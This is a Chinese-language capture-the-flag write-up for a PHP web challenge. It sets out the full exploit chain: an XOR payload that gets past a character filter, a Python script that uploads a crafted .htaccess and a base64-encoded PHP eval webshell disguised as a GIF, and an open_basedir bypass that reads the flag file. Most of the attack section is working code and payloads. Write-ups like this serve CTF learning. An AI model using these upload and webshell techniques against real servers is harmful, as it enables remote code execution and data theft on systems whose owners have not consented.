上来就是源码
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
绕过正则
简单审计后发现,前面定义了getflag函数在后面并没有调用,猜测下面的eval是让我们调用这个函数读flag
先看看还有什么字符能用:
<?php
for($i=32;$i<127;$i++){
$hhh=chr($i);
if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh)) {
echo $hhh;
}
}
?>
//!#$%()*+-/:;<>?@\]^{}
题目限制了长度为18,用网上现成的payload
_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
%ff%ff%ff%ff^%a0%b8%ba%ab
的结果是_GET,合起来就是${_GET}{%ff}
文件上传
传入get_the_flag()函数上传木马,源码里的意思是文件后缀名不能有.ph,内容不能有<?。
exif_imagetype — 判断一个图像的类型
这里参考wp是要上传.htaccess文件
但是上传的.htaccess文件也要绕过是否文件的判断,绕过方法
在.htaccess在头部定义图片大小来绕过exif_imagetype函数,如:
#define width 1000
#define height 1000
去phpinfo里查找remote_addr
import requests
import base64
htaccess = b"""#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_d99081fe929b750e0557f85e6499103f/shell.abc"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://c2b7d2d9-4f7b-4796-ae5a-015ceb2c32e5.node3.buuoj.cn//?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
链接成功
绕过open_basedir
但无法查看根目录
参考wp是要用绕过open_basedir
网上的payload:
?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));